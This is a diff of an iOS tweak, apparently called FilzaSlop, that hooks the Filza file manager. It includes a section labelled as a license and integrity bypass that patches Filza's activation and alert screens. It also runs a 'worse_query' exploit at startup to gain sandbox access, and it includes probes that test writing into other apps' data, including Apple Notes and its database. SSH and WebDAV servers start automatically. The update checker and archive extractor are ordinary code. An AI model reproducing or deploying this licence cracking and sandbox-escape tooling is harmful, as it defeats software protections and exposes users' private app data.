NSSelectorFromString( + @"doEraseSelectedIndexPaths:completion:"); + Method eraseSelected = class_getInstanceMethod(pageController, eraseSelector); + if (eraseSelected) { + orig_pageDoEraseSelectedItems = method_getImplementation(eraseSelected); + method_setImplementation(eraseSelected, + (IMP)hook_pageDoEraseSelectedItems); + } + + Method copyPaste = class_getInstanceMethod(pageController, + NSSelectorFromString(@"copyFilesAndDirectoryFromPasteboard")); + if (copyPaste) { + orig_copyFilesAndDirectoryFromPasteboard = method_getImplementation(copyPaste); + method_setImplementation(copyPaste, + (IMP)hook_copyFilesAndDirectoryFromPasteboard); + } + } + + Class rfm = NSClassFromString(@"TGRootFileManager"); + if (rfm) { + Class meta = object_getClass(rfm); + class_replaceMethod(meta, NSSelectorFromString(@"isRootHelperAvailable"), (IMP)hook_isRootHelperAvailable, "B@:"); + class_replaceMethod(rfm, NSSelectorFromString(@"spawnRootHelper"), (IMP)hook_spawnRootHelper, "i@:"); + class_replaceMethod(rfm, NSSelectorFromString(@"spawnRootHelperIfNeeds"), (IMP)hook_spawnRootHelperIfNeeds, "i@:"); + class_replaceMethod(rfm, NSSelectorFromString(@"respawnRootHelper"), (IMP)hook_respawnRootHelper, "i@:"); + class_replaceMethod(rfm, NSSelectorFromString(@"tryLoadFilzaHelper"), (IMP)hook_tryLoadFilzaHelper, "v@:"); + class_replaceMethod(rfm, NSSelectorFromString(@"createHelperConnectionIfNeeds"), (IMP)hook_createHelperConnectionIfNeeds, "v@:"); + class_replaceMethod(rfm, NSSelectorFromString(@"spawnRoot:args:pid:"), (IMP)hook_spawnRoot_args_pid, "i@:@@^i"); + class_replaceMethod(rfm, NSSelectorFromString(@"sendObjectWithReplySync:"), (IMP)hook_sendObjectWithReplySync, "@@:@"); + class_replaceMethod(rfm, NSSelectorFromString(@"sendObjectWithReplySync:fileDescriptor:"), (IMP)hook_sendObjectWithReplySync_fd, "@@:@^i"); + class_replaceMethod(rfm, NSSelectorFromString(@"sendObjectWithReplySync:fileDescriptor:logintty:"), (IMP)hook_sendObjectWithReplySync_fd_logintty, "@@:@^iB"); + class_replaceMethod(rfm, NSSelectorFromString(@"sendObjectNoReply:"), (IMP)hook_sendObjectNoReply, "v@:@"); + class_replaceMethod(rfm, NSSelectorFromString(@"sendObjectWithReplyAsync:queue:completion:"), (IMP)hook_sendObjectWithReplyAsync, "v@:@@?"); + + } + Class zipper = NSClassFromString(@"Zipper"); + if (zipper) { + Method m; + m = class_getInstanceMethod(zipper, NSSelectorFromString(@"ZipFiles:toFilePath:currentDirectory:")); + if (m) { orig_ZipFiles = method_getImplementation(m); method_setImplementation(m, (IMP)hook_ZipFiles); } + m = class_getInstanceMethod(zipper, NSSelectorFromString(@"unZipFile:toPath:currentDirectory:outMessage:")); + if (m) { orig_unZipFile = method_getImplementation(m); method_setImplementation(m, (IMP)hook_unZipFile); } + m = class_getInstanceMethod(zipper, NSSelectorFromString(@"unZipFile:toPath:currentDirectory:withPassword:outMessage:")); + if (m) { orig_unZipFilePassword = method_getImplementation(m); method_setImplementation(m, (IMP)hook_unZipFilePassword); } + } + + // License/integrity bypass + Class alertCtrl = NSClassFromString(@"TGAlertController"); + if (alertCtrl) { + Class alertMeta = object_getClass(alertCtrl); + Method m = class_getClassMethod(alertCtrl, NSSelectorFromString(@"showAlertWithTitle:text:cancelButton:otherButtons:completion:")); + if (m) { + orig_showAlert = method_getImplementation(m); + class_replaceMethod(alertMeta, NSSelectorFromString(@"showAlertWithTitle:text:cancelButton:otherButtons:completion:"), + (IMP)hook_showAlertWithTitle, "@@:@@@@@"); + } + } + Class activationVC = NSClassFromString(@"NewActivationViewController"); + if (activationVC) { + Method m = class_getInstanceMethod(activationVC, @selector(viewDidLoad)); + if (m) { + orig_activationViewDidLoad = method_getImplementation(m); + method_setImplementation(m, (IMP)hook_activationViewDidLoad); + } + } + + // Apps Manager fixes + Class lsWorkspace = NSClassFromString(@"LSApplicationWorkspace"); + if (lsWorkspace) { + Method m = class_getInstanceMethod(lsWorkspace, NSSelectorFromString(@"allApplications")); + if (m) { orig_allApplications = method_getImplementation(m); method_setImplementation(m, (IMP)hook_allApplications); } + } + Class appItem = NSClassFromString(@"ApplicationItem"); + if (appItem) { + Method m; + m = class_getInstanceMethod(appItem, NSSelectorFromString(@"setAppProxy:")); + if (m) { orig_setAppProxy = method_getImplementation(m); method_setImplementation(m, (IMP)hook_setAppProxy); } + } + Class appsVC = NSClassFromString(@"TGApplicationsViewController"); + if (appsVC) { + Method m = class_getInstanceMethod(appsVC, NSSelectorFromString(@"browserView:didSelectItemAtIndexPath:")); + if (m) { orig_didSelectItem = method_getImplementation(m); method_setImplementation(m, (IMP)hook_didSelectItem); } + } + + NSLog(@"[Tweak] All hooks installed"); +} + +#pragma mark - MCM container activation + +static void runWriteProbeAtDirectory(NSString *label, NSString *directory) { + NSString *name = [NSString stringWithFormat:@".filza-mod-write-probe-%d", getpid()]; + NSString *path = [directory stringByAppendingPathComponent:name]; + NSData *payload = [NSUUID.UUID.UUIDString dataUsingEncoding:NSUTF8StringEncoding]; + int descriptor = open(path.fileSystemRepresentation, + O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW, 0600); + int createError = descriptor < 0 ? errno : 0; + ssize_t written = -1; + if (descriptor >= 0) { + written = write(descriptor, payload.bytes, payload.length); + fsync(descriptor); + close(descriptor); + } + + NSData *roundTrip = descriptor >= 0 ? [NSData dataWithContentsOfFile:path] : nil; + BOOL verified = written == (ssize_t)payload.length && [roundTrip isEqualToData:payload]; + int cleanupResult = descriptor >= 0 ? unlink(path.fileSystemRepresentation) : -1; + struct stat status = {0}; + BOOL removed = descriptor >= 0 && cleanupResult == 0 && + lstat(path.fileSystemRepresentation, &status) != 0 && errno == ENOENT; + NSLog(@"[WriteProbe] target=%@ create=%d errno=%d bytes=%zd readback=%d cleanup=%d path=%@", + label, descriptor >= 0, createError, written, verified, removed, path); +} + +static void runWritableOpenProbe(NSString *label, NSString *path) { + int descriptor = open(path.fileSystemRepresentation, + O_RDWR | O_CLOEXEC | O_NOFOLLOW); + int openError = descriptor < 0 ? errno : 0; + struct stat status = {0}; + BOOL regularFile = descriptor >= 0 && fstat(descriptor, &status) == 0 && + S_ISREG(status.st_mode); + if (descriptor >= 0) close(descriptor); + NSLog(@"[WriteProbe] target=%@ open_rdwr=%d errno=%d regular=%d size=%lld path=%@", + label, descriptor >= 0, openError, regularFile, + regularFile ? (long long)status.st_size : -1LL, path); +} + +static void runOptInWriteProbe(void) { + if (!getenv("FILZA_WRITE_PROBE")) return; + NSString *root = MCMFilzaVirtualRoot(); + NSString *canary = [root stringByAppendingPathComponent: + @"App Data/local.research.SandboxCanaryVictim"]; + runWriteProbeAtDirectory(@"Canary app data", canary); + runWriteProbeAtDirectory(@"Canary app data tmp", + [canary stringByAppendingPathComponent:@"tmp"]); + runWriteProbeAtDirectory(@"Notes app data", + [root stringByAppendingPathComponent:@"App Data/com.apple.mobilenotes"]); + runWriteProbeAtDirectory(@"Notes app data tmp", + [root stringByAppendingPathComponent:@"App Data/com.apple.mobilenotes/tmp"]); + runWriteProbeAtDirectory(@"Notes app group", + [root stringByAppendingPathComponent:@"App Groups/group.com.apple.notes"]); + runWritableOpenProbe(@"Notes database", + [root stringByAppendingPathComponent: + @"App Groups/group.com.apple.notes/NoteStore.sqlite"]); +} + +static UIViewController *activeBrowserController(void) { + UIWindow *window = nil; + for (UIWindow *candidate in UIApplication.sharedApplication.windows) { + if (candidate.isKeyWindow) { window = candidate; break; } + if (!window && !candidate.hidden) window = candidate; + } + UIViewController *controller = window.rootViewController; + while (controller) { + UIViewController *next = controller.presentedViewController; + if (!next && [controller isKindOfClass:UINavigationController.class]) + next = ((UINavigationController *)controller).visibleViewController; + if (!next && [controller isKindOfClass:UITabBarController.class]) + next = ((UITabBarController *)controller).selectedViewController; + if (!next && [controller isKindOfClass:UISplitViewController.class]) + next = ((UISplitViewController *)controller).viewControllers.lastObject; + if (!next && [controller respondsToSelector: + NSSelectorFromString(@"visibleViewControllers")]) { + id visible = ((id(*)(id, SEL))objc_msgSend)(controller, + NSSelectorFromString(@"visibleViewControllers")); + if ([visible isKindOfClass:NSArray.class] && [visible count] > 0) + next = [visible lastObject]; + } + if (!next && controller.childViewControllers.count == 1) + next = controller.childViewControllers.firstObject; + if (!next || next == controller) break; + controller = next; + } + return controller; +} + +static BOOL repairActiveBrowserPath(void) { + UIViewController *controller = activeBrowserController(); + SEL currentPathSelector = NSSelectorFromString(@"currentPath"); + SEL setCurrentPathSelector = NSSelectorFromString(@"setCurrentPath:"); + if (![controller respondsToSelector:currentPathSelector] || + ![controller respondsToSelector:setCurrentPathSelector]) { + NSLog(@"[DeviceStorage] waiting for browser controller; active=%@", + NSStringFromClass(controller.class)); + return NO; + } + NSString *currentPath = ((id(*)(id, SEL))objc_msgSend)(controller, + currentPathSelector); + NSString *root = preferredStorageRoot(); + BOOL insideRoot = [currentPath isEqualToString:root] || + [currentPath hasPrefix:[root stringByAppendingString:@"/"]]; + if (!insideRoot) { + ((void(*)(id, SEL, id))objc_msgSend)(controller, + setCurrentPathSelector, root); + controller.navigationItem.title = WQIsActive() ? @"worse_query" : @"Device Storage"; + NSLog(@"[DeviceStorage] repaired active browser path from %@ to %@ class=%@", + currentPath, root, NSStringFromClass(controller.class)); + } + SEL loadSelector = NSSelectorFromString(@"doLoadingPage"); + if ([controller respondsToSelector:loadSelector]) { + ((void(*)(id, SEL))objc_msgSend)(controller, loadSelector); + NSLog(@"[DeviceStorage] reloaded active browser path %@ class=%@", + root, NSStringFromClass(controller.class)); + } + return YES; +} + +static void scheduleInitialBrowserRepair(NSUInteger attemptsRemaining) { + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 400 * NSEC_PER_MSEC), + dispatch_get_main_queue(), ^{ + if (!repairActiveBrowserPath() && attemptsRemaining > 1) + scheduleInitialBrowserRepair(attemptsRemaining - 1); + }); +} + +static void runMCMPath(void) { + // worse_query is the primary path on iOS 26/27. The startup panel runs the + // exploit and indexes every supported directory before the UI is usable. + // The MobileHouseArrest integration remains as a fallback for builds signed + // with that identity. + WQStartupUIBegin(); + dispatch_async(dispatch_get_global_queue(QOS_CLASS_UTILITY, 0), ^{ + WQTestTerminalSpawn(); + if (getenv("WQ_TEST_TERMINAL")) WQTerminalSelfTest(); + if (getenv("WQ_TEST_TERMINAL_UI")) { + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 25 * NSEC_PER_SEC), + dispatch_get_main_queue(), ^{ WQTerminalPresentTestUI(); }); + } + }); + MCMFilzaStart(); + if (MCMFilzaIsRunningInLiveContainer()) return; + PBWallpaperFeatureStart(); + runOptInWriteProbe(); + runOptInPasteCopyProbe(); + + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 2500 * NSEC_PER_MSEC), + dispatch_get_main_queue(), ^{ + id autoStart = [NSUserDefaults.standardUserDefaults + objectForKey:@"WQWebDAVAutoStart"]; + if (autoStart && ![autoStart boolValue]) return; + NSString *error = nil; + if (!WQWebDAVStart(&error)) + NSLog(@"[WQWebDAV] autostart failed: %@", error ?: @"unknown"); + BOOL sshEnabled = getenv("WQ_SSH_TEST") || + [NSUserDefaults.standardUserDefaults boolForKey:@"WQSSHEnabled"]; + if (sshEnabled) { + NSString *sshError = nil; + if (WQSSHServerStart(&sshError)) + NSLog(@"[WQSSH] autostart %@", WQSSHServerURL()); + else + NSLog(@"[WQSSH] autostart failed: %@", sshError ?: @"unknown"); + } + }); +} + +#pragma mark - Entry Point + +__attribute__((constructor)) void TweakInit(void) { + installHooks(); + // Populate the MCM root before Filza restores its initial browser path. + runMCMPath(); + if (getenv("WQ_TEST_SETTINGS")) { + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 26 * NSEC_PER_SEC), + dispatch_get_main_queue(), ^{ + Class settingsClass = NSClassFromString(@"TGPreferencesTableViewController"); + if (!settingsClass) return; + UIViewController *settings = nil; + SEL selector = NSSelectorFromString(@"initWithStyle:"); + if ([settingsClass instancesRespondToSelector:selector]) { + id (*function)(id, SEL, NSInteger) = + (id(*)(id, SEL, NSInteger))objc_msgSend; + settings = function([settingsClass alloc], selector, 1); + } else { + settings = [[settingsClass alloc] init]; + } + UINavigationController *navigation = [[UINavigationController alloc] + initWithRootViewController:settings]; + UIWindow *window = nil; + for (UIWindow *candidate in UIApplication.sharedApplication.windows) + if (candidate.isKeyWindow && !candidate.isHidden) { window = candidate; break; } + if (window) [window.rootViewController presentViewController:navigation + animated:YES completion:nil]; + }); + } + [[NSNotificationCenter defaultCenter] addObserverForName:@"WQStartupUIDidDismiss" + object:nil queue:NSOperationQueue.mainQueue usingBlock:^(NSNotification *note) { + scheduleInitialBrowserRepair(80); + if (getenv("WQ_TEST_SETTINGS")) { + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 15 * NSEC_PER_SEC), + dispatch_get_main_queue(), ^{ + Class settingsClass = NSClassFromString(@"TGPreferencesTableViewController"); + if (!settingsClass) return; + UIViewController *settings = nil; + SEL selector = NSSelectorFromString(@"initWithStyle:"); + if ([settingsClass instancesRespondToSelector:selector]) { + id (*function)(id, SEL, NSInteger) = + (id(*)(id, SEL, NSInteger))objc_msgSend; + settings = function([settingsClass alloc], selector, 1); + } else { + settings = [[settingsClass alloc] init]; + } + UINavigationController *navigation = [[UINavigationController alloc] + initWithRootViewController:settings]; + UIWindow *window = nil; + for (UIWindow *candidate in UIApplication.sharedApplication.windows) + if (candidate.isKeyWindow && !candidate.isHidden) { window = candidate; break; } + if (window) [window.rootViewController presentViewController:navigation + animated:YES completion:nil]; + }); + } + }]; + scheduleInitialBrowserRepair(8); + FSUpdateCheckerStart(); +} diff --git a/UpdateChecker.h b/UpdateChecker.h new file mode 100644 index 0000000..6343b13 --- /dev/null +++ b/UpdateChecker.h @@ -0,0 +1,3 @@ +#import + +FOUNDATION_EXPORT void FSUpdateCheckerStart(void); diff --git a/UpdateChecker.m b/UpdateChecker.m new file mode 100644 index 0000000..a085975 --- /dev/null +++ b/UpdateChecker.m @@ -0,0 +1,255 @@ +#import "UpdateChecker.h" + +#import + +static NSString *const kFSUpdateAPIURL = + @"https://api.github.com/repos/0xjohnnydev/FilzaSlop/releases/latest"; +static NSString *const kFSVersionInfoKey = @"FilzaSlopVersion"; +static NSString *const kFSLastCheckDateKey = @"FilzaSlopUpdateLastCheckDate"; +static NSString *const kFSLastCheckedVersionKey = + @"FilzaSlopUpdateLastCheckedVersion"; +static NSString *const kFSLastAlertedTagKey = + @"FilzaSlopUpdateLastAlertedTag"; +static const NSTimeInterval kFSUpdateCheckInterval = 24.0 * 60.0 * 60.0; + +static BOOL gFSUpdateCheckerStarted; +static BOOL gFSUpdateCheckInFlight; +static BOOL gFSUpdatePresentationScheduled; +static NSDictionary *gFSPendingRelease; + +static NSString *FSUpdateVersion(NSString *value) +{ + if (![value isKindOfClass:NSString.class]) return nil; + NSString *version = [value stringByTrimmingCharactersInSet: + NSCharacterSet.whitespaceAndNewlineCharacterSet]; + if ([version hasPrefix:@"v"] || [version hasPrefix:@"V"]) + version = [version substringFromIndex:1]; + return version.length > 0 ? version : nil; +} + +static NSString *FSCurrentVersion(void) +{ + return FSUpdateVersion([NSBundle.mainBundle objectForInfoDictionaryKey: + kFSVersionInfoKey]); +} + +static BOOL FSUpdateVersionIsNewer(NSString *latest, NSString *current) +{ + NSString *latestVersion = FSUpdateVersion(latest); + NSString *currentVersion = FSUpdateVersion(current); + if (!latestVersion || !currentVersion) return NO; + return [latestVersion compare:currentVersion options:NSNumericSearch] == + NSOrderedDescending; +} + +static UIViewController *FSTopViewController(UIViewController *controller) +{ + UIViewController *current = controller; + while (current) { + UIViewController *next = nil; + if (current.presentedViewController && + !current.presentedViewController.isBeingDismissed) { + next = current.presentedViewController; + } else if ([current isKindOfClass:UINavigationController.class]) { + next = ((UINavigationController *)current).visibleViewController; + } else if ([current isKindOfClass:UITabBarController.class]) { + next = ((UITabBarController *)current).selectedViewController; + } + if (!next || next == current) break; + current = next; + } + return current; +} + +static UIViewController *FSUpdatePresenter(void) +{ + UIApplication *application = UIApplication.sharedApplication; + UIWindow *selectedWindow = nil; + for (UIScene *scene in application.connectedScenes) { + if (![scene isKindOfClass:UIWindowScene.class] || + scene.activationState != UISceneActivationStateForegroundActive) + continue; + for (UIWindow *window in ((UIWindowScene *)scene).windows) { + if (window.isHidden || window.alpha == 0.0 || !window.rootViewController) + continue; + if (window.isKeyWindow) return FSTopViewController(window.rootViewController); + if (!selectedWindow) selectedWindow = window; + } + } + return selectedWindow ? FSTopViewController(selectedWindow.rootViewController) + : nil; +} + +static NSURL *FSReleaseURL(NSString *value) +{ + NSURL *url = [NSURL URLWithString:value ?: @""]; + NSString *host = url.host.lowercaseString; + NSString *path = url.path.lowercaseString; + if (![url.scheme.lowercaseString isEqualToString:@"https"] || + ![host isEqualToString:@"github.com"] || + ![path hasPrefix:@"/0xjohnnydev/filzaslop/releases/"]) + return nil; + return url; +} + +static void FSScheduleUpdatePresentation(NSUInteger attemptsRemaining); + +static void FSPresentPendingUpdate(void) +{ + NSDictionary *release = gFSPendingRelease; + if (!release) return; + + UIViewController *presenter = FSUpdatePresenter(); + if (!presenter || !presenter.view.window || presenter.isBeingDismissed || + [presenter isKindOfClass:UIAlertController.class]) + return; + + NSString *tag = release[@"tag"]; + NSString *current = FSCurrentVersion(); + NSURL *releaseURL = FSReleaseURL(release[@"url"]); + if (!tag.length || !current.length || !releaseURL) { + gFSPendingRelease = nil; + return; + } + + NSString *message = [NSString stringWithFormat: + @"Version %@ is available. You have version %@.", tag, current]; + UIAlertController *alert = [UIAlertController + alertControllerWithTitle:@"FilzaSlop Update Available" + message:message preferredStyle:UIAlertControllerStyleAlert]; + [alert addAction:[UIAlertAction actionWithTitle:@"Later" + style:UIAlertActionStyleCancel handler:nil]]; + [alert addAction:[UIAlertAction actionWithTitle:@"View Release" + style:UIAlertActionStyleDefault handler:^(__unused UIAlertAction *action) { + [UIApplication.sharedApplication openURL:releaseURL options:@{} + completionHandler:nil]; + }]]; + + gFSPendingRelease = nil; + [presenter presentViewController:alert animated:YES completion:^{ + [NSUserDefaults.standardUserDefaults setObject:tag + forKey:kFSLastAlertedTagKey]; + }]; +} + +static void FSScheduleUpdatePresentation(NSUInteger attemptsRemaining) +{ + if (!gFSPendingRelease || gFSUpdatePresentationScheduled) return; + gFSUpdatePresentationScheduled = YES; + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, NSEC_PER_SEC), + dispatch_get_main_queue(), ^{ + gFSUpdatePresentationScheduled = NO; + FSPresentPendingUpdate(); + if (gFSPendingRelease && attemptsRemaining > 1) + FSScheduleUpdatePresentation(attemptsRemaining - 1); + }); +} + +static void FSHandleReleaseResponse(NSData *data, NSURLResponse *response, + NSError *error) +{ + dispatch_async(dispatch_get_main_queue(), ^{ + gFSUpdateCheckInFlight = NO; + NSInteger statusCode = [response isKindOfClass:NSHTTPURLResponse.class] + ? ((NSHTTPURLResponse *)response).statusCode : 0; + if (error || statusCode != 200 || data.length == 0) { + NSLog(@"[UpdateChecker] request failed status=%ld error=%@", + (long)statusCode, error); + return; + } + + NSError *jsonError = nil; + NSDictionary *payload = [NSJSONSerialization JSONObjectWithData:data + options:0 error:&jsonError]; + if (![payload isKindOfClass:NSDictionary.class]) { + NSLog(@"[UpdateChecker] invalid response error=%@", jsonError); + return; + } + + NSString *tag = [payload[@"tag_name"] isKindOfClass:NSString.class] + ? payload[@"tag_name"] : nil; + NSString *releaseURL = [payload[@"html_url"] isKindOfClass:NSString.class] + ? payload[@"html_url"] : nil; + NSString *current = FSCurrentVersion(); + if (tag == nil || releaseURL == nil) { + NSLog(@"[UpdateChecker] response omitted release metadata"); + return; + } + if (!FSUpdateVersionIsNewer(tag, current)) { + NSLog(@"[UpdateChecker] current=%@ latest=%@", current, tag); + return; + } + + NSString *lastAlerted = [NSUserDefaults.standardUserDefaults + stringForKey:kFSLastAlertedTagKey]; + if ([lastAlerted isEqualToString:tag]) return; + if (!FSReleaseURL(releaseURL)) { + NSLog(@"[UpdateChecker] rejected release URL %@", releaseURL); + return; + } + + gFSPendingRelease = @{ @"tag": tag, @"url": releaseURL }; + FSScheduleUpdatePresentation(10); + }); +} + +static void FSCheckForUpdateIfNeeded(void) +{ + NSCAssert(NSThread.isMainThread, + @"Update checks must start on the main thread"); + if (gFSUpdateCheckInFlight) return; + + NSString *current = FSCurrentVersion(); + if (!current.length) { + NSLog(@"[UpdateChecker] %@ is missing; skipping update check", + kFSVersionInfoKey); + return; + } + + NSUserDefaults *defaults = NSUserDefaults.standardUserDefaults; + NSDate *lastCheck = [defaults objectForKey:kFSLastCheckDateKey]; + if (![lastCheck isKindOfClass:NSDate.class]) lastCheck = nil; + NSString *lastVersion = [defaults stringForKey:kFSLastCheckedVersionKey]; + NSTimeInterval elapsed = lastCheck + ? [NSDate.date timeIntervalSinceDate:lastCheck] : kFSUpdateCheckInterval; + BOOL sameVersion = [lastVersion isEqualToString:current]; + if (sameVersion && elapsed >= 0.0 && elapsed < kFSUpdateCheckInterval) + return; + + [defaults setObject:NSDate.date forKey:kFSLastCheckDateKey]; + [defaults setObject:current forKey:kFSLastCheckedVersionKey]; + gFSUpdateCheckInFlight = YES; + + NSMutableURLRequest *request = [NSMutableURLRequest + requestWithURL:[NSURL URLWithString:kFSUpdateAPIURL] + cachePolicy:NSURLRequestReloadIgnoringLocalCacheData timeoutInterval:15.0]; + [request setValue:@"application/vnd.github+json" forHTTPHeaderField:@"Accept"]; + [request setValue:@"2022-11-28" + forHTTPHeaderField:@"X-GitHub-Api-Version"]; + [request setValue:@"FilzaSlop-UpdateChecker" forHTTPHeaderField:@"User-Agent"]; + NSURLSessionDataTask *task = [NSURLSession.sharedSession + dataTaskWithRequest:request + completionHandler:^(NSData *data, NSURLResponse *response, + NSError *error) { + FSHandleReleaseResponse(data, response, error); + }]; + [task resume]; +} + +void FSUpdateCheckerStart(void) +{ + dispatch_async(dispatch_get_main_queue(), ^{ + if (gFSUpdateCheckerStarted) return; + gFSUpdateCheckerStarted = YES; + [NSNotificationCenter.defaultCenter + addObserverForName:UIApplicationDidBecomeActiveNotification + object:nil queue:NSOperationQueue.mainQueue + usingBlock:^(__unused NSNotification *notification) { + FSScheduleUpdatePresentation(10); + FSCheckForUpdateIfNeeded(); + }]; + if (UIApplication.sharedApplication.applicationState == + UIApplicationStateActive) + FSCheckForUpdateIfNeeded(); + }); +} diff --git a/WQArchive.h b/WQArchive.h new file mode 100644 index 0000000..f996563 --- /dev/null +++ b/WQArchive.h @@ -0,0 +1,15 @@ +#import + +NS_ASSUME_NONNULL_BEGIN + +/// Extracts zip, tar, tar.gz, gz, bz2, xz, 7z, rar and other formats +/// supported by libarchive into `destination`. +FOUNDATION_EXPORT BOOL WQExtractArchive(NSString *archivePath, + NSString *destination, + NSString *_Nullable *_Nullable message); + +/// Destination used when the caller does not specify one +/// (archive name with the archive suffix removed). +FOUNDATION_EXPORT NSString *WQDefaultExtractDestination(NSString *archivePath); + +NS_ASSUME_NONNULL_END diff --git a/WQArchive.m b/WQArchive.m new file mode 100644 index 0000000..b45ac89 --- /dev/null +++ b/WQArchive.m @@ -0,0 +1,195 @@ +// +// WQArchive.m +// FilzaSlop +// +// In-process archive extraction for the terminal and Filza's file browser. +// libarchive is already linked by the package backend; this keeps archive +// support working without /usr/bin/unzip, 7z, unrar or a root helper. +// + +#import "WQArchive.h" + +#import +#include +#include +#include +#include + +// The iOS SDK does not ship libarchive headers. Declare the small ABI surface +// used here explicitly (the same approach as WQPackages.m). +typedef struct archive WQArchiveReader; +typedef struct archive_entry WQArchiveEntry; + +#define WQ_ARCHIVE_OK 0 +#define WQ_ARCHIVE_EOF 1 +#define WQ_AE_IFMT 0170000 +#define WQ_AE_IFREG 0100000 +#define WQ_AE_IFDIR 0040000 +#define WQ_AE_IFLNK 0120000 + +extern WQArchiveReader *archive_read_new(void); +extern int archive_read_support_filter_all(WQArchiveReader *); +extern int archive_read_support_format_all(WQArchiveReader *); +extern int archive_read_support_format_raw(WQArchiveReader *); +extern int archive_read_open_filename(WQArchiveReader *, const char *, size_t); +extern int archive_read_next_header(WQArchiveReader *, WQArchiveEntry **); +extern const char *archive_entry_pathname(WQArchiveEntry *); +extern unsigned int archive_entry_filetype(WQArchiveEntry *); +extern const char *archive_entry_symlink(WQArchiveEntry *); +extern unsigned int archive_entry_perm(WQArchiveEntry *); +extern ssize_t archive_read_data(WQArchiveReader *, void *, size_t); +extern int archive_read_data_skip(WQArchiveReader *); +extern const char *archive_error_string(WQArchiveReader *); +extern int archive_read_close(WQArchiveReader *); +extern int archive_read_free(WQArchiveReader *); + +static NSString *WQArchiveSafeRelativePath(const char *name) +{ + if (!name) return nil; + NSString *path = [NSString stringWithUTF8String:name]; + if (!path.length) return nil; + while ([path hasPrefix:@"./"]) + path = [path substringFromIndex:2]; + if ([path isEqualToString:@"."] || [path hasPrefix:@"/"]) return nil; + for (NSString *component in [path componentsSeparatedByString:@"/"]) + if ([component isEqualToString:@".."]) return nil; + return path; +} + +static BOOL WQArchiveWriteEntry(WQArchiveReader *reader, + WQArchiveEntry *entry, + NSString *target) +{ + NSFileManager *fm = NSFileManager.defaultManager; + NSString *parent = target.stringByDeletingLastPathComponent; + if (parent.length && ![fm createDirectoryAtPath:parent + withIntermediateDirectories:YES attributes:nil error:nil]) + return NO; + + mode_t type = archive_entry_filetype(entry); + if (type == WQ_AE_IFDIR) { + return [fm createDirectoryAtPath:target withIntermediateDirectories:YES + attributes:nil error:nil]; + } + if (type == WQ_AE_IFLNK) { + const char *link = archive_entry_symlink(entry); + if (!link || link[0] == '/') return NO; + unlink(target.fileSystemRepresentation); + return symlink(link, target.fileSystemRepresentation) == 0; + } + if (type != WQ_AE_IFREG && type != 0) return NO; + + int descriptor = open(target.fileSystemRepresentation, + O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (descriptor < 0) return NO; + + char buffer[65536]; + ssize_t got; + BOOL ok = YES; + while ((got = archive_read_data(reader, buffer, sizeof(buffer))) > 0) { + ssize_t written = 0; + while (written < got) { + ssize_t step = write(descriptor, buffer + written, + (size_t)(got - written)); + if (step <= 0) { + ok = NO; + break; + } + written += step; + } + if (!ok) break; + } + if (got < 0) ok = NO; + if (close(descriptor) != 0) ok = NO; + + mode_t permissions = archive_entry_perm(entry); + if (permissions) + chmod(target.fileSystemRepresentation, permissions & 0777); + return ok; +} + +BOOL WQExtractArchive(NSString *archivePath, NSString *destination, + NSString **message) +{ + NSFileManager *fm = NSFileManager.defaultManager; + if (!archivePath.length || !destination.length) { + if (message) *message = @"extract: missing archive or destination"; + return NO; + } + [fm createDirectoryAtPath:destination withIntermediateDirectories:YES + attributes:nil error:nil]; + + WQArchiveReader *reader = archive_read_new(); + if (!reader) { + if (message) *message = @"extract: cannot allocate libarchive"; + return NO; + } + archive_read_support_filter_all(reader); + archive_read_support_format_all(reader); + archive_read_support_format_raw(reader); + + int result = archive_read_open_filename(reader, + archivePath.fileSystemRepresentation, 64 * 1024); + if (result != WQ_ARCHIVE_OK) { + if (message) *message = [NSString stringWithFormat: + @"extract: %@: %s", archivePath, archive_error_string(reader) ?: "unreadable"]; + archive_read_free(reader); + return NO; + } + + NSUInteger extracted = 0; + NSUInteger skipped = 0; + WQArchiveEntry *entry = NULL; + while ((result = archive_read_next_header(reader, &entry)) == WQ_ARCHIVE_OK) { + const char *name = archive_entry_pathname(entry); + NSString *relative = WQArchiveSafeRelativePath(name); + if (!relative.length) { + skipped++; + archive_read_data_skip(reader); + continue; + } + NSString *target = [destination stringByAppendingPathComponent:relative]; + if (WQArchiveWriteEntry(reader, entry, target)) + extracted++; + else + skipped++; + } + + BOOL failed = result != WQ_ARCHIVE_EOF; + NSString *error = failed ? [NSString stringWithUTF8String: + archive_error_string(reader) ?: "corrupt archive"] : nil; + archive_read_close(reader); + archive_read_free(reader); + + if (failed) { + if (message) *message = [NSString stringWithFormat: + @"extract: %@: %@", archivePath, error ?: @"corrupt archive"]; + return NO; + } + if (message) *message = [NSString stringWithFormat: + @"extract: %lu entries -> %@%@", (unsigned long)extracted, destination, + skipped ? [NSString stringWithFormat:@" (%lu skipped)", + (unsigned long)skipped] : @""]; + return YES; +} + +NSString *WQDefaultExtractDestination(NSString *archivePath) +{ + NSString *name = archivePath.lastPathComponent; + NSArray *suffixes = @[ + @".tar.gz", @".tar.bz2", @".tar.xz", @".tar.zst", + @".tgz", @".tbz", @".tbz2", @".txz", @".tzst", + @".zip", @".7z", @".rar", @".tar", @".gz", @".bz2", + @".xz", @".zst", @".deb", @".iso", + ]; + NSString *lower = name.lowercaseString; + for (NSString *suffix in suffixes) { + if ([lower hasSuffix:suffix] && name.length > suffix.length) { + name = [name substringToIndex:name.length - suffix.length]; + break; + } + } + if (!name.length) name = @"extracted"; + return [archivePath.stringByDeletingLastPathComponent + stringByAppendingPathComponent:name]; +} diff --git a/WQFilzaIntegration.h b/WQFilzaIntegration.h new file mode 100644 index 0000000..5a5cd37 --- /dev/null +++ b/WQFilzaIntegration.h @@ -0,0 +1,54 @@ +#import + +NS_ASSUME_NONNULL_BEGIN + +/// Boots the worse_query integration. Grants every path family the primitive +/// supports, publishes a symlinked control folder inside Filza's virtual root, +/// registers Favorites entries, and prewarms app-container discovery. +FOUNDATION_EXPORT void WQFilzaStart(void); + +/// YES once at least one worse_query sandbox extension was consumed. +FOUNDATION_EXPORT BOOL WQIsActive(void); + +/// Canonical /private/var paths that currently have a live extension. +FOUNDATION_EXPORT NSArray *WQAccessibleRoots(void); + +/// "…/Documents/Device Storage/worse_query", the browsing hub for the granted +/// roots. Kept stable so Favorites entries can point at it. 